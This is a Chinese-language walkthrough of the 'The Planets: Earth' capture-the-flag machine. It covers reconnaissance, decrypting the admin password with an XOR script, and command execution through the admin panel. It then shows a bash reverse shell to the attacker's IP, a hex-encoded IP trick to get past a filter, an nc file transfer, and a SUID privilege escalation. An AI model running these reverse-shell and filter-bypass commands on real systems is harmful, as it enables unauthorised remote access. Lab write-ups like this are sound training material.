THE PLANETS:EARTH

靶机描述

Earth is an easy box though you will likely find it more challenging than "Mercury" in this series and on the harder side of easy, depending on your experience. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com, though it may take a while for me to get back to you.

信息搜集

目标确定

攻击机IP:192.168.93.131

image.png

靶机IP:192.168.93.132

arp-scan -l

image.png

靶机信息搜集

nmap扫描一下

nmap -A -p 1-65535 192.168.93.132

image.png

有几个比较注意的点,80端口开启,但是状态400;22端口开启,有ssh服务,可以考虑ssh爆破公钥;443端口开启,有DNS解析,我们在/etc/hosts文件中添加DNS解析:

vim /etc/hosts

image.png

earth.local信息搜集

image.png

我们先不用管页面,先去扫一下路径

image.png

同理去看一下https://terrateset.earth.local

image.png

有几个敏感信息,查看一下

第一个flag

这个地方我们先去看一下https://terratest.earth.local/robots.txt

image.png

有一个不知名格式文件,盲猜一手txt,访问:

image.png

测试安全消息传递系统说明:
* 使用XOR加密作为算法,在RSA中使用应该是安全的。
* 地球已经确认他们已经收到我们发送的消息。
* testdata.txt用于测试加密。
* terra用作管理门户的用户名。

目标:
* 我们如何将每月的钥匙安全地送到地球?还是每周换一次钥匙?
* 需要测试不同的密钥长度以抵御爆破。密钥应该多长?
* 需要改进消息接口和管理面板的接口,这是目前非常基本的问题。

结合之前主页面的Previous Message,梳理一下上面这两段话的提示:

  1. 加密算法:XOR,并且之前的信息已经发送成功。
  2. testdata.txt应该是密钥文件
  3. terra是管理用户的用户名

好了,意思很明显了,先去看一下testdata.txt

image.png

编写XOR脚本:

import binascii
data1 = " "#这个地方填写Previous Message
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

运行结果是十六进制,需要16进制转文本解密一下

image.png

这个应该就是管理员的密码,重复了好几遍

·用户名:terra

·密 码:earthclimatechangebad4humans

  • earth.local/admin直接登录

    image.png

发现可以执行系统命令,那我们可以尝试直接从这里找第一个flag

find / -name "*flag.txt"

image.png

直接cat出来

image.png

提权

反弹shell

一个靶机应该是有两个flag,一个普通用户权限,一个root权限。查看一下当前权限:

image.png我们尝试弹个shell

bash -i >& /dev/tcp/192.168.93.131/2333 0>&1

但是不行。。。看了wp才知道需要对IP进行16进制绕过:

bash -i >& /dev/tcp/0xc0.0xa8.0x5d.0x83/2333 0>&1

image.png成功

提权

查找有权限的命令:

find / -perm -u=s -type f 2>/dev/null

image.png

可以尝试走reset_root这条路,运行尝试一下:

image.png

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

检查是否存在重置触发器...
重置失败,所有触发器都不存在。

看一下这个命令

image.png

本地没有调试的命令,使用nc传送到本地调试一下

nc -nlvp 2223 >reset_root
nc 192.168.93.131 2223 < /usr/bin/reset_root

image.png

使用 strace 命令进行调试

image.png

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)

在靶机中创建这三个文件:

sudo touch /dev/shm/kHgTFI5G
sudo touch /dev/shm/Zw7bV9U5
sudo touch /tmp/kcM0Wewe

然后再靶机中尝试运行reset_root:

image.png

image.png

成功提权,并且可以获取root_flag.txt

image.png